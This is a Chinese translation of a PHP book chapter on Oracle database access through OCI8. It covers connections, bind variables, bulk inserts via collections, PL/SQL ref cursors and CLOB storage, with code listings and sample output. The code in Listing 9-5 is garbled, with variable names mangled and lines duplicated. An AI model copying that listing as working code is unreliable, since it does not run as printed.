PHP-编程高级教程-四-

30 阅读40分钟

PHP 编程高级教程(四)

原文:Pro PHP Programming

协议:CC BY-NC-SA 4.0

九、数据库集成 III

到目前为止,我们主要使用 MySQL 数据库。现在是时候介绍 Oracle RDBMS 及其功能了。Oracle RDBMS 是当今市场上最流行的数据库。这是用户最有可能在他们的服务器机房中拥有的数据库,至少在高端是如此。

本章将介绍 Oracle RDBSM 和 PHP OC18 接口(连接和执行 SQL 和 bind 变量)。它还将涵盖数组接口、PL/SQL 过程、IN/OUT 参数和绑定游标。接下来我们将讨论大型对象和使用 LOB 列,最后我们将看一看连接池。

Oracle RDBMS 功能非常丰富。完整的描述需要一个小的库。我将从一个 PHP 程序员的角度出发,通过强调它最重要的特性来开始这一章。

Oracle RDBMS 简介

Oracle RDBMS 是一个成熟的关系数据库,符合第七章中描述的 ACID 属性。它使用多版本来保证一致性,这样读者就不会阻止作者。这意味着对特定表执行查询的进程既不会阻塞,也不会被修改该表的进程阻塞。与许多其他数据库相比,Oracle RDBMS 有一个集中的字典,并且不像其他 RDBMS 系统那样使用术语数据库。Oracle 实例是进程和共享内存的集合,它总是访问单个数据库。会话通过附加到 Oracle 的一个服务器进程来连接到实例。该附件可以是专用的,在这种情况下,服务器进程专用于与其连接的单个客户端。附件也可以共享,允许多个连接共享一个服务器进程。从 Oracle 和更高版本开始,连接也可以被池化,这意味着存在一个进程池,并且这些进程中的任何一个都可以在任何时候为给定的连接提供服务。Oracle 会话是一个开销很大的对象,其数量受到初始化参数的限制,因此不应该轻易创建。与其他一些数据库(尤其是 Microsoft SQL Server)相比,每个最终用户拥有多个数据库会话被认为是一种非常糟糕的做法。

Oracle 数据库是一个包罗万象的实体,进一步细分为表空间。表空间只是文件的集合,是用于存储对象的物理位置。每个数据库对象,如表或索引,都由用户拥有。在 Oracle 世界中,术语用户模式同义。这意味着,对于 ANSI SQL 标准中定义为对象的逻辑集合的每个模式,都有一个用户名。这往往会产生大量用户,但没有负面影响。Oracle 还支持全局临时表。全局临时表中的数据可以在事务或会话中保持不变。这些表被称为全局临时表,因为它们的可见性是全局的;即使在所有使用它们的会话与实例断开连接后,它们仍然存在。Oracle 不支持本地临时表,如 SQL Server 或 PostgreSQL,它们只在创建它们的会话期间存在。Oracle 支持游标,但是游标不像本地临时表那样通用。这有时会带来移植问题,尤其是在将 SQL Server 应用移植到 Oracle 时。许多其他数据库,如 DB2、SQL Server、MySQL 和 PostgreSQL,支持只在会话甚至事务期间存在的本地临时表。使用这些数据库的开发人员倾向于大量使用临时表,如果对 Oracle 进行字面翻译,会产生大量的永久对象。公认的做法是尽可能将本地临时表转换为游标。

Oracle 还支持称为同义词的非常独特的对象,这些对象可以指向另一个模式,甚至是另一个数据库。Oracle 是一个完全分布式数据库;它允许查询远程数据库,甚至是包含几个数据库的成熟事务。然而,这应该小心使用,因为分布式数据库有一些奇怪的和意想不到的属性,这些属性会严重影响应用。

支持行级锁定以提高并发性;这是默认的锁定粒度。Oracle 锁以相当独特的方式实现,没有全局锁队列和大量内存消耗。这使得 Oracle 锁很便宜。事实上,锁定表中单行的成本通常与锁定多行的成本相同。Oracle 不会升级锁。行锁永远不会转换为表锁。Oracle RDBMS 中的显式表锁定通常会适得其反,并且会对应用性能和并发性产生严重的负面影响。

正如许多其他数据库系统一样,Oracle 也有自己的事务语言或过程扩展,称为 PL/SQL。这是一种完全定义的编程语言,基于 Ada,可用于开发函数、过程、触发器和包。除了 PL/SQL,还可以用 Java 编写存储过程。Java 虚拟机是 Oracle 数据库内核的一部分。这个功能非常重要,因为纯 SQL 不足以定义业务规则。业务规则通常被实现为数据库触发器,这使得它们在访问底层数据模型的应用之间保持一致。有两种实现业务规则的方法:一种以数据库为中心,另一种以应用为中心。在我看来,业务规则应该在数据库中实现,因为通过应用层维护业务规则的一致实现既困难又有风险。出错的空间太大了。在数据模型的生命周期中,由可能的误解引起的细微变化更有可能发生,公司可能会以逻辑上不一致的数据库而告终。

如果不提到真正的应用集群(RAC ),这一节就不完整。Oracle 支持共享磁盘集群,这比精心组织的独立数据库复杂得多,通常被称为无共享架构。对于 Oracle RAC,多个 Oracle 实例可以访问位于共享存储上的单个数据库。这在图 9-1 中有所说明。

images

***图 9-1。*借助 Oracle RAC,多个 Oracle 实例可以访问驻留在共享存储上的单个数据库。

数据库服务器 1 和 2 上的实例同时访问共享存储上的数据库。这比无共享数据库集群复杂得多,因为需要在节点之间进行锁定;需要一个复杂的分布式锁管理器(DLM)。有利的一面是,单个节点的丢失并不意味着数据的丢失。在无共享架构中,单个节点的丢失通常意味着用户无法访问该节点管理的数据。RAC 要复杂得多,但它允许负载平衡和故障转移,这意味着只要群集中至少有一个存活的节点,整个数据库都是可访问的。

Oracle RDBMS 的更多选项和功能超出了本书的讨论范围,但仍然值得学习。甲骨文很乐意在此公开其信息手册:[www.oracle.com/technetwork/indexes/documentation/index.html](http://www.oracle.com/technetwork/indexes/documentation/index.html)

我全心全意地推荐涵盖概念的手册。对于那些需要更复杂和详细介绍的人,我推荐 Tom Kyte 的书,特别是专家数据库架构 (Apress,2010)。汤姆·凯特是甲骨文公司的副总裁,一位优秀的作家,也是一位知识渊博的人,他的书读起来是一种享受。

Oracle RDBMS 是一种非常流行的关系数据库,有多种选择。它是符合标准的,但是不应该陷入创建独立于数据库的应用的陷阱。数据库是非常复杂的软件,相同的功能有许多不同的实现。为一个特定的数据库编写一个应用可以使一个人从分配的硬件和软件中获得最佳性能。当编写将使用 Oracle RDBMS 作为其数据存储的应用时,应该遵循 Oracle RDBMS 世界中遵循的标准,而不是一些抽象的独立于数据库的应用标准。数据库独立性通常意味着应用在任何受支持的数据库上运行都同样缓慢,这几乎不是一个令人满意的解决方案。另一方面,编写一个不考虑可移植性的应用会导致供应商锁定,并最终增加应用系统的价格。

现在,让我们继续 OCI8 接口的血淋淋的细节。下一节将假设已经安装了 OCI8 模块,要么通过从源代码链接它,要么通过 PECL。

基础知识:连接和执行 SQL

OCI8 扩展拥有我们在本书前面看到的使用 MySQL 和 SQLite 扩展时的所有调用。特别是,它调用连接到一个 Oracle 实例,准备一个 SQL 语句,执行它,并获取结果。不幸的是,OCI8 本质上是程序性的,这意味着错误检查必须手动完成。对于自动错误检查,可以使用 ADOdb 包装器,它有 OCI8 扩展本身提供的许多选项,但肯定不是全部。正如我们迄今为止的做法一样,一个例子胜过千言万语。

与其他数据库一样,这里将显示两个脚本:第一个脚本将 CSV 文件加载到数据库中,第二个脚本执行查询。这两个脚本都从命令行执行。在这两个脚本之间,将有可能涵盖使用 Oracle RDBMS 的所有基本调用和技术,就像对 MySQL 和 SQLite 那样。清单 9-1 显示了第一个脚本,它将一个 CSV 文件加载到数据库中。剧本一般;它将连接字符串、表名和文件名作为命令行参数,并将指定的文件加载到指定的表中。不存在特定模式或表结构的假设。

***清单 9-1。*将 CSV 文件加载到数据库的脚本

<?php if ($argc != 4) {     die("USAGE:script9.1 <connection> <table_name> <file name>\n"); } $conn   = $argv[1]; $tname = $argv[2]; $fname = $argv[3]; $qry = "select * from $tname"; $dsn = array(); $numrows = 0; if (preg_match('/(.*)\/(.*)@(.*)/', $conn, $dsn)) {     $conn = array_shift($dsn); } elseif (preg_match('/(.*)\/(.*)/', $conn, $dsn)) {     $conn = array_shift($dsn); } else die("Connection identifier should be in the u/p@db form."); if (count($dsn) == 2) {     $dsn[2] = ""; } function create_insert_stmt($table, $ncols) {     $stmt = "insert into $table values(";     foreach (range(1, $ncols) as $i) {         $stmt.= ":$i,";     }     $stmt = preg_replace("/,$/", ')', $stmt);     return ($stmt); } try {     $dbh = oci_connect($dsn[0], $dsn[1], $dsn[2]);     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $res = oci_parse($dbh, $qry);     // Oracle needs to execute statement before having description     // functions available. However, there is a special cheap     // execution mode which makes sure that there is no performance penalty.     if (!oci_execute($res, OCI_DESCRIBE_ONLY)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     $ncols = oci_num_fields($res);     oci_free_statement($res);     $ins = create_insert_stmt($tname, $ncols);     $res = oci_parse($dbh, $ins);     $fp = new SplFileObject($fname, "r");     while ($row = $fp->fgetcsv()) {         if (count($row) < $ncols) continue;         foreach (range(1, $ncols) as $i) {             oci_bind_by_name($res, ":$i", $row[$i - 1]);         }         if (!oci_execute($res,OCI_NO_AUTO_COMMIT)) {             $err = oci_error($dbh);             throw new exception($err['message']);         }         $numrows++;     }     oci_commit($dbh);     print "$numrows rows inserted into $tname.\n"; } catch(Exception $e) {     print "Exception:\n";     die($e->getMessage() . "\n"); } ?>

执行产生与其他数据库相同的结果:

 ./script9.1.php scott/tiger imp emp.csv 14 rows inserted into emp.

CSV 文件与第七章中的 SQLite 文件相同。它比优雅的 ADOdb 版本要麻烦得多,但是使用 OCI8 可以获得显著的性能优势,我们将在下一节展示这一点。这些调用现在应该很容易识别了:oci_connect当然是用来连接数据库实例的。Oracle 连接字符串通常有一个username/password@db形式,有时没有最后一部分,因此有必要解析连接参数。这是preg_match可以用一种相当优雅的方式做的事情。我们将在后面讨论正则表达式的细节。

oci_error 调用用于检测错误,oci_parse 解析语句,oci_execute执行语句。当捕获错误时,oci_error调用将数据库句柄作为唯一的参数。遇到的最后一个错误实际上是一个连接句柄属性。

实际执行插入的oci_execute调用是用一个额外的OCI_NO_AUTO_COMMIT参数调用的。如果没有该参数,每次插入后都会发出一个 commit。正如在第七章的 MySQL 部分提到的,“提交”语句是一个非常昂贵的语句。我们不仅会因为在插入每一行后提交而遭受性能损失,还有可能出现不一致的文件加载。有些行将被加载,但有些行将失败,除了加载数据之外,我们还需要完成清理任务。默认情况下是在每次插入后自动提交。

字段的数量由oci_num_fields调用返回,该调用将一个已执行的 SQL 句柄作为其参数。这对于大型表来说是不切实际的,所以有一种特殊的执行模式,它不会创建结果集,所以不会有性能损失。此外,SQL 的真正解析通常会延迟到 SQL 语句的执行阶段,以便减少必要的网络行程。这意味着在oci_parse调用之后不需要检查错误,执行错误检查的地方是在oci_execute调用之后。

但是,这个脚本的执行方式会带来性能损失。对于每一行,我们将访问数据库并在返回时检查结果。如果数据库在不同于用来执行 PHP 脚本的机器上,这包括了与要插入的行数一样多的网络传输。即使使用快速网络连接,如果有许多行要插入,网络开销也会非常大。不幸的是,PHP 不支持将数组直接绑定到 SQL 占位符,其他一些语言就是如此。幸运的是,有一个利用OCI-Collection类的技巧可以帮助我们做到这一点。这个技巧将在下一节描述。

清单 9-1 的脚本中没有包含的基本调用是oci_fetch_row。这将在清单 9-2 中显示,在之前的数据库集成章节中也曾出现过。该脚本执行一个查询,获取结果数据,并将其打印在标准输出上。

***清单 9-2。*执行查询的脚本

<?php $QRY = "select e.ename,e.job,d.dname,d.loc         from emp e join dept d on(d.deptno=e.deptno)"; try {     $dbh = oci_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $sth = oci_parse($dbh, $QRY);     if (!oci_execute($sth)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     while ($row = oci_fetch_array($sth,OCI_NUM)) {         foreach ($row as $r) {             printf("% 12s", $r);         }         print "\n";     } } catch(exception $e) {     print "Exception:";     print $e->getMessage()."\n";     exit(-1); } ?>

oci_fetch_array将获取下一行到程序员选择的数组类型中。我们选择了一个由数字索引的数组,如OCI_NUM参数所指定的。我们也可以指定OCI_ASSOC返回一个关联数组,由列名索引,或者指定OCI_BOTH返回两者。

与插入一样,fetch 通常也会逐行提取。幸运的是,对于查询,有一个非常简单的技巧可以帮助我们。OCI8 支持oci_set_prefetch函数,其语法如下:

bool oci_set_prefetch($stmt,$numrows);

这将创建一个可以容纳$numrows行并由 Oracle 维护和使用的缓冲区。获取函数的行为不会改变,但是速度会显著改变。预取缓冲区是按语句创建的,不能共享或重用。

清单 9-1 和 9-2 涵盖了所有的基础知识:如何连接到一个 Oracle 实例,执行一条 SQL 语句,并获得结果。属于基本 OCI8 调用类别的调用更少。这些调用描述了结果集中的字段:oci_field_nameoci_field_typeoci_field_sizeoci_field_precisionoci_field_scale。所有这些调用都将执行的语句和字段编号作为参数,并返回请求的数据:名称、类型、大小、精度和小数位数。

阵列接口

本节将演示在可接受的时间内将大量行插入 Oracle 数据库是多么容易。在现代企业数据库中,大量数据加载是相当频繁的事情。因此,让我们创建下表,并尝试向其中加载一个大数据文件:

`SQL> create table test_ins ( 2  col1 number(10) 3  ) storage (initial 100M);

Table created.`

存储条款分配 1 亿。这样做是为了避免动态空间分配,这可能是数据加载中最糟糕的事情。运行时的动态空间分配很慢,会导致并发问题,应该尽可能避免。现在,我们需要加载一个数据文件:

php -r 'for($i=0;$i<10000123;$i++) { print "$i\n"; }'>file.dat

对于记录,这是 10123 记录加载。首先,让我们看看上一节中的方法是如何工作的。清单 9-3 是一个非常简单的脚本,它将读取文件并将其加载到我们刚刚创建的表格中。

***清单 9-3。*读取文件并将其加载到表中的简单脚本

<?php if ($argc != 2) {     die("USAGE:scriptDB.1 <batch size>"); } $batch = $argv[1]; print "Batch size:$batch\n"; $numrows = 0; $val = 0; $ins = "insert into test_ins values (:VAL)"; try {     $dbh = oci_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $res = oci_parse($dbh, $ins);     oci_bind_by_name($res, ":VAL", &$val, 20, SQLT_CHR);     $fp = new SplFileObject("file.dat", "r");     while ($row = $fp->fgets()) {         $val = trim($row);         if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) {             $err = oci_error($dbh);             throw new exception($err['message']);         }         if ((++$numrows) % $batch == 0) {             oci_commit($dbh);         }     }     oci_commit($dbh);     print "$numrows rows inserted.\n"; } catch(Exception $e) {     print "Exception:\n";     die($e->getMessage() . "\n"); } ?>

这是一个简单的脚本,但它仍然是根据编程的最佳规则编写的。Bind 只执行一次,commit 在命令行中定义的时间间隔内调用。将变量绑定到占位符的概念在前面的数据库章节中已经介绍过了,所以,让我们来执行这个脚本,看看时机:

`time ./script9.3.php 10000 Batch size:10000 10000123 rows inserted  .

real    16m44.110s user    2m35.295s sys     1m38.790s`

因此,对于 1000 万条简单的记录,我们需要在本地机器上运行 16 分钟。那非常非常慢。主要问题在于,前面的脚本是逐行与数据库通信的,每次都检查结果。减少提交频率会有所帮助,比如每 10,000 行提交一次,但这还不够。为了加快速度,我们需要更多的数据库基础设施:

SQL> create type numeric_table as table of number(10); 2  / Type created. SQL> create or replace procedure do_ins(in_tab numeric_table) 2  as 3  begin 4  forall i in in_tab.first..in_tab.last 5  insert into test_ins values (in_tab(i)); 6  end; 7  / Procedure created.

我们创建了一个过程,它接受一个 PL/SQL 表,这是一个 Oracle 集合类型,可以认为是一个 PHP 数组,如果没有这个类型,我们就无法创建这个过程。该过程使用 Oracle 批量插入机制,将 PL/SQL 表插入到表TEST_INS中。现在我们已经有了必要的基础设施,清单 9-4 的展示了清单 9-3 的的新版本。

***清单 9-4。*新版清单 9-3

<?php if ($argc != 2) {     die("USAGE:scriptDB.1 <batch size>"); } $batch = $argv[1]; print "Batch size:$batch\n"; $numrows = 0; $ins = <<<'EOS'     begin         do_ins(:VAL);     end; EOS; try {     $dbh = oci_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $values = oci_new_collection($dbh, 'NUMERIC_TABLE');     $res = oci_parse($dbh, $ins);     oci_bind_by_name($res, ":VAL", $values, -1, SQLT_NTY);     $fp = new SplFileObject("file.dat", "r");     while ($row = $fp->fgets()) {         $values->append(trim($row));         if ((++$numrows) % $batch == 0) {             if (!oci_execute($res)) {                 $err = oci_error($dbh);                 throw new exception($err['message']);             }             $values->trim($batch);         }     }     if (!oci_execute($res)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     print "$numrows rows inserted.\n"; } catch(Exception $e) {     print "Exception:\n";     die($e->getMessage() . "\n"); } ?>

让我们看看这与清单 9-3 中的相比如何。这个脚本有点复杂,因为它需要额外的数据库基础设施,但是这种努力绝对是值得的:

`time ./script9.4.php 10000 Batch size:10000 10000123 rows inserted.

real    0m58.077s user    0m42.317s sys     0m0.307s`

1000 万条记录的加载时间从 16 分 44 秒减少到 58 秒。为什么我们会有如此巨大的进步?首先,我们在 PHP 端创建了OCI-Collection对象,用来保存要插入的行的集合。Oracle 集合对象拥有人们期望的所有方法:append、trim、size 和getElem。append 方法将向集合中添加一个变量,trim 将从集合中移除指定数量的元素,size 方法将返回集合中元素的数量,而getElem将返回给定索引的元素。

如果表中有更多的列,我们将需要为每一列提供一个集合对象和一个支持它的类型。该脚本将 10,000 行收集到集合对象中,然后将它交给 Oracle,因此命名为数组接口。其次,该过程执行批量插入,这比在循环中执行简单插入要快得多。如果目标数据库在另一台机器上,即使有快速的 1GB 以太网链接,第一个脚本的执行时间也需要 45 分钟。第二个脚本仍然可以在不到两分钟的时间内执行,因为网络访问次数大大减少了。两个脚本以相同的速率提交。在清单 9-3 的脚本中,每 10,000 行就用OCI_NO_AUTO_COMMIT调用oci_execute并显式调用oci_commit。在清单 9-4 的脚本中,oci_execute在没有禁用自动提交特性的情况下被调用,这意味着提交是在每次成功完成后发出的。

该脚本不能使用 ADOdb 或 PDO 编写,因为它们不支持OCI-Collection类型。为大型数据仓库负载编写 PHP 脚本最好使用本机 OCI8 接口。第二个剧本有什么问题吗?首先,它倾向于忽略错误。错误必须在DO_INS插入过程中处理,出于简单的原因,我们没有在这里处理。PL/SQL 命令 FORALL 有一个名为 SAVE EXCEPTIONS 的选项,可用于检查每一行的结果,并在需要时抛出异常。PL/SQL 是一种非常强大的语言,比我们在这里展示的简单语言有更多的用途。Oracle 文档包含关于 PL/SQL 的优秀手册,可在本章前面提到的文档网站上获得。下一节还将讨论 PL/SQL。

PL/SQL 过程和游标

在上一节中,我们看到了绑定变量与 PL/SQL 的配合。绑定变量必须绑定到 PL/SQL 代码中的占位符。参见清单 9-5 。

***清单 9-5。*在此插入列表标题。

`<?php proc=<<<EOPdeclare  statnumber(1,0);begin  dbmsoutput.enable();  selectdaysago(:DAYS)into:LONGAGOfromdual;  dbmsoutput.putline(Onceuponatime::LONGAGO);  dbmsoutput.getline(:LINE,stat);end;EOP;proc = <<<'EOP' declare   stat number(1,0); begin   dbms_output.enable();   select days_ago(:DAYS) into :LONG_AGO from dual;   dbms_output.put_line('Once upon a time:'||:LONG_AGO);   dbms_output.get_line(:LINE,stat); end; EOP; days=60; longago="";long_ago=""; line="";

try {     dbh=ociconnect("scott","tiger","local");    if(!dbh = oci_connect("scott","tiger","local");     if (!dbh) {         err=ocierror();        thrownewexception(err = oci_error();         throw new exception(err['message']);     }     res=ociparse(res = oci_parse(dbh, proc);    ocibindbyname(proc);     oci_bind_by_name(res,":DAYS",&days,20,SQLTCHR);    ocibindbyname(days,20,SQLT_CHR);     oci_bind_by_name(res,":LONG_AGO",&longago,128,SQLTCHR);    ocibindbyname(long_ago,128,SQLT_CHR);     oci_bind_by_name(res,":LINE",&line,128,SQLTCHR);    if(!ociexecute(line,128,SQLT_CHR);     if (!oci_execute(res)) {        err=ocierror(err=oci_error(dbh);        throw new exception(err['message']);     }     print "This is the procedure output line:line\n"; } catch(Exception e) {     print "Exception:\n";     die(e->getMessage() . "\n"); } ?>`

执行时,该脚本会产生以下输出:

./script9.5.php This is the procedure output line:Once upon a time:2011-01-31 12:10:26

函数days_ago是一个相当简单的用户定义函数,如下所示:

CREATE OR REPLACE   FUNCTION days_ago(       days IN NUMBER)     RETURN VARCHAR2   AS   BEGIN     RETURN(TO_CHAR(sysdate-days,'YYYY-MM-DD HH24:MI:SS'));   END;

因此,在我们的清单 9-5 中的小脚本中,我们几乎混合了所有的东西:一个用户创建的函数,带有一个输入参数、系统包DBMS_OUTPUT和输出参数,所有这些都捆绑在一个匿名的 PL/SQL 代码中。绑定变量不需要声明,它们由oci_bind_by_name调用声明。不需要像某些框架那样声明 IN 参数和 OUT 参数;oci_bind_by_name双管齐下。绑定变量可以是不同的类型。显然,它们可以是数字和字符串,在本章前面关于数组接口的部分,我们看到绑定变量可以是OCI-Collection类的对象。也可以绑定一个语句句柄。在 Oracle 术语中,语句句柄称为游标。Oracle 的 PL/SQL 可以很好的操纵游标,可以交给 PHP 执行。清单 9-6 显示了一个例子。

***清单 9-6。*在此插入列表标题。

<?php $proc = <<<'EOP' declare type crs_type is ref cursor; crs crs_type; begin     open crs for select ename,job,deptno from emp; :CSR:=crs; end; EOP; try {     $dbh = oci_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $csr = oci_new_cursor($dbh);     $res = oci_parse($dbh, $proc);     oci_bind_by_name($res, ":CSR", $csr, -1, SQLT_RSET);     if (!oci_execute($res)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     if (!oci_execute($csr)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     while ($row = oci_fetch_array($csr, OCI_NUM)) {         foreach ($row as $r) {             printf("%-12s", $r);         }         print "\n";     } } catch(Exception $e) {     print "Exception:\n";     die($e->getMessage() . "\n"); } ?>

在清单 9-6 中,我们调用了oci_execute两次。第一次,我们从变量$proc执行小的 PL/SQL 脚本。该脚本为 SQL 查询打开一个 PL/SQL 类型的 ref 游标,该查询从 EMP 表中选择三列,将该游标放入绑定变量:CSR 并退出。之后就都是 PHP 了。

当执行 PL/SQL 代码时,它将 Oracle 游标放入绑定变量$csr,该变量是通过调用oci_new_cursor创建的。正如我们之前所说,游标是经过解析的 SQL 语句。既然已经填充了$csr,就需要执行它并检索数据。因此,第二个oci_execute用于执行那个光标。之后,数据被检索并打印在标准输出上。结果如下所示:

./script9.6.php SMITH        CLERK           20           ALLEN        SALESMAN    30           WARD        SALESMAN    30           JONES        MANAGER     20           MARTIN      SALESMAN    30           BLAKE        MANAGER     30           CLARK        MANAGER     10           SCOTT        ANALYST       20           KING           PRESIDENT   10           TURNER      SALESMAN    30           ADAMS       CLERK           20           JAMES         CLERK           30           FORD          ANALYST      20           MILLER       CLERK           10      

PL/SQL 创建了一个 SQL 语句,解析后交给 PHP 执行。PHP 执行它并产生结果。这是一个非常强大的组合,可以在应用中发挥巨大的作用。

如果从 PL/SQL 返回的游标使用锁定,则需要用OCI_NO_AUTO_COMMIT调用oci_execute,因为每次成功执行后的隐含提交将释放锁定并导致以下错误:

PHP Warning:  oci_fetch_array(): ORA-01002: fetch out of sequence in /home/mgogala/work/book/ChapterDB/scriptDB.6.php on line 29

此错误是由于在 PL/SQL 代码的查询中添加了“for update of job”而产生的。查询被修改为读取select ename,job,deptno from emp for update of job。带有“for update”子句的查询将锁定所选行;这种行为是 SQL 标准规定的。在关系数据库中,锁在事务持续期间被授予。一旦事务终止(例如,被 commit 语句终止),游标就变得无效,并且无法再检索数据。默认情况下,oci_execute发出一个 commit,并用“for update”选项中断查询。将会有一个类似的错误,如下一节所示。

images 注意oci_execute调用将在每次成功执行后执行一次提交,即使执行的 SQL 是一个查询。如果不希望出现这种行为,请使用OCI_NO_AUTO_COMMIT参数。

现在,我们可以进入另一个重要的对象类型。

使用 LOB 类型

LOB 代表大对象。它可以是文本大型对象、字符大型对象类型(CLOB)、二进制大型对象类型(BLOB)或指向 Oracle 类型 BFILE 文件的指针。LOB 类型的基本特征是它的大小。在这种情况下,规模肯定很重要。

当关系数据库第一次出现时,像大型文档、媒体剪辑、图形文件之类的东西并不保存在关系数据库中。这种性质的对象保存在文件系统中。文档集合的一个范例是一个文件柜,有抽屉,可能还有字母标记。一个人应该确切地知道他在找什么,最好有文件号码。文件系统是模仿文件柜设计的。文件系统只是包含文档的抽屉(称为目录)的集合。像“请给我 2008 年所有涉及办公家具,如椅子、桌子和橱柜的合同”这样的任务在旧的组织中是不可能完成的。随着文本索引的出现,这样的任务现在已经很平常了。此外,文件系统保留了非常少的关于文档的外部可访问信息。文件系统通常保存文件名、所有者、大小和日期,仅此而已。没有关键字、没有外部注释、没有作者或任何其他可能需要的关于文档的有用信息。保留所有必要的信息意味着旧的文件柜范例不再足够;这些文件现在越来越多地保存在数据库中。

每个 Oracle 数据库都有一个名为 Oracle*Text 的选项,无需额外费用。该选项使用户能够在文档上创建文本索引,解析 MS Word 文档、Adobe PDF 文档、HTML 文档和许多其他文档类型。Oracle 也可以进行文本搜索,就像 Sphinx 一样,它的文本索引被紧密集成到数据库中。还有一些选项可以分析地图,测量两点之间的距离,甚至分析 x 光图像。所有这些好处都依赖于存储在数据库中的大型对象。当然,PHP 在 web 应用中使用非常频繁,并且有很好的机制来处理上传的文件。这使得处理 LOB 列对于 PHP 应用尤其重要。在使用 PHP 和 Oracle 数据库时,上传文档并将其存储到数据库中是可以合理预期的事情。

我们的下一个例子将把一个文本文件的内容加载到数据库中。文本文件是库尔特·冯内古特的优秀故事《哈里森·贝吉龙》,从这里获得:

www.tnellen.com/cybereng/harrison.html

故事的内容作为一个名为harrison_bergeron.txt的文本文件存储在磁盘上。这个故事很短,大约 12K,但是仍然大于 VARCHAR2 列的最大大小,即 4K:

ls -l harrison_bergeron.txt -rw-r--r-- 1 mgogala users 12678 Apr  2 23:28 harrison_bergeron.txt

该文档正好有 12,678 个字符长。该事实将用于检查我们脚本的结果。当然,在插入文档时,我们还需要一个表格来插入。以下是接下来两个示例中使用的表格:

CREATE TABLE TEST2_INS   (     FNAME VARCHAR2(128),     FCONTENT CLOB   ) LOB(FCONTENT) STORE AS SECUREFILE SF_NOVELS (     DISABLE STORAGE IN ROW DEDUPLICATE COMPRESS HIGH  ) ;

当创建这样的表时,很自然的想法是创建名为 NAME 和 CONTENT 的列,但是这些列可能是保留字,或者在一些未来的 Oracle 版本中可能成为保留字。这可能会导致不可预测的问题,避免使用列名这样的词是一个明智的原则。

images 注意使用名称、内容、大小或类似的名称是危险的,因为可能与 SQL 关键字冲突。

此外,在创建 LOB 列时,有许多选项可供选择,具体取决于数据库版本。create table 命令的选项会显著影响存储 LOB 所需的存储空间、文本索引的性能以及数据检索过程的性能。创建该表的数据库是 Oracle 11.2 数据库。并非所有这些选项在今天仍在使用的早期版本中都可用。从 Oracle 9i 开始提供的选项是DISABLE STORAGE IN ROW。如果使用此选项,Oracle 会将整个 LOB 列存储在一个单独的存储空间中,称为 LOB 段,只在表行中留下如何找到 LOB 的信息,也称为 LOB 定位器。LOB 定位器的大小通常为 23 个字节。这将使得表中的非 LOB 列更加密集,并且非 LOB 列的读取更加高效。为了访问 LOB 数据,Oracle 必须发出单独的 I/O 请求,因此降低了表读取的效率。

如果没有DISABLE STORAGE IN ROW选项,Oracle 将在普通表存储中存储高达 4K 的 LOB 内容,以及其他非 LOB 列。这将使表段变得更大、更稀疏,从而降低非 LOB 列的索引效率。这也将减少读取 LOB 数据所需的读取次数。经验法则是,如果在需要表数据时总是提取 LOB 列,则将 LOB 列与其余的表数据一起存储。另一方面,如果在很多情况下不需要将 LOB 列与其余数据一起读取,那么 LOB 列最好与非 LOB 数据分开存储,这意味着DISABLE STORAGE IN ROW。默认情况下,如果没有特别要求,Oracle 会将所有内容存储在一起。

计划是将文件名和内容插入到这个表中。清单 9-7 显示了实现它的脚本。

***清单 9-7。*在此插入列表标题。

<?php $ins = <<<SQL insert into test2_ins(fname,fcontent) values (:FNAME,empty_clob()) returning fcontent into :CLB SQL; $qry = <<<SQL select fname "File Name",length(fcontent) "File Size" from test2_ins SQL; $fname = "harrison_bergeron.txt"; try {     $dbh = oci_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $lob = oci_new_descriptor($dbh, OCI_DTYPE_LOB);     $res = oci_parse($dbh, $ins);     oci_bind_by_name($res, ":FNAME", $fname, -1, SQLT_CHR);     oci_bind_by_name($res, ":CLB", $lob, -1, SQLT_CLOB);     if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     $lob->import("harrison_bergeron.txt");     $lob->flush();     oci_commit($dbh);     $res = oci_parse($dbh, $qry);     if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     $row = oci_fetch_array($res, OCI_ASSOC);     foreach ($row as $key => $val) {         printf("%s = %s\n", $key, $val);     } } catch(Exception $e) {     print "Exception:\n";     die($e->getMessage() . "\n"); } ?>

执行该脚本时,结果如下所示:

./script9.7.php File Name = harrison_bergeron.txt File Size = 12678

因此,我们在数据库中插入了一个文本文件。清单 9-7 有几个重要的元素。与 OCI 集合类型不同,OCI-Lob 描述符必须在数据库中初始化,因此 insert 中的RETURNING子句也是如此。如果我们试图在客户端填充 LOB 描述符并将其插入到数据库中,而没有EMPTY_CLOB()RETURNING的复杂性,我们将会收到一个错误,指出脚本试图插入一个无效的 LOB 描述符。这种行为的原因是 LOB 列实际上是数据库中的文件。必须分配存储空间,并在描述符中提供有关文件的信息。Descriptor描述一个可以用来从数据库中读取和写入数据库的对象。这就是使用 bind 调用插入一个空 CLOB 并将其返回到 PHP 描述符的原因。前面显示的带有RETURNING子句的方法是在 Oracle 数据库中插入 LOB 对象时使用的通用方法。

其次,LOB 描述符是一个只在事务期间有效的对象。关系数据库有事务,一旦进入数据库,就必须在 ACID 规则下为 LOB 对象提供与数据库中任何其他数据相同的保护。毕竟,LOB 列只是数据库行中的一列。一旦事务完成,不能保证其他人不会锁定我们刚刚编写的行并给我们的文本添加一点注释,可能会更改它的大小甚至位置。因此,LOB 描述符只在事务期间有效,这意味着OCI_NO_AUTO_COMMIT参数必须与oci_execute一起使用。我们只能在完成对行的修改后提交。如果没有OCI_NO_AUTO_COMMIT,将会出现以下错误:

./script9.7.php PHP Warning:  OCI-Lob::import(): ORA-22990: LOB locators cannot span transactions in /home/mgogala/work/book/ChapterDB/scriptDB.7.php on line 18

